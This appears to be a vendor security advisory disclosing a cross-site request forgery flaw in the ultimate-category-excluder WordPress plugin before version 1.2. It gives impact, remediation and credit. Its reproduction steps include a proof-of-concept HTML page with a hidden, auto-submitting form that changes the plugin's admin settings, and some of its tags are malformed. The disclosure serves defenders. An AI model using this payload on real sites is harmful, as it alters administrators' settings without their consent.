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Defend your code against SpringShell in two ways: read our blog post with what-to-do advice, and use Checkmarx SCA to test your applications.

CSRF In Ultimate-Category-Excluder Wordpress Plugin



Details Overview

Summary

 $Affected \ versions \ of the \ ultimate-category-excluder \ Word Press \ plugin \ are \ vulnerable \ to \ a \ Cross-Site \ Request \ Forgery \ (CSRF) \ attack \ in \ the \ page \ ultimate-category-excluder.php.$

Product

ultimate-category-excluder wordpress plugin before 1.2

Impact

An admins that visits a malicious site could change The ultimate-category-excluder setting without his/her knowledge.

Steps To Reproduce

- 1. Wordpress with vulnerable ultimate-category-excluder plugin installed
- 2. Admin visits the page:

```
<html><head></head>
<body>

form style="opacity: 0;" action="http://[wordpress_url]/wp-admin/options-general.php?page=ultimate-category-e>
<input type="text" name="exclude_main[]" value="-1" />
<input type="text" name="exclude_feed[]" value="-1" />
<input type="text" name="exclude_search[]" value="-1" />
<input type="number" name="exclude_archives[]" value="-1" />
<input type="text" name="ksuce" value="true" />
<button>submit</button>
</form>

<script>document.querySelector('form').submit();</script>
</pody></ptml>
```



Expected Result:

Admin setting page will change according to the attacker's input.

Remediation

Update ultimate-category-excluder to 1.2 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

1. Changeset

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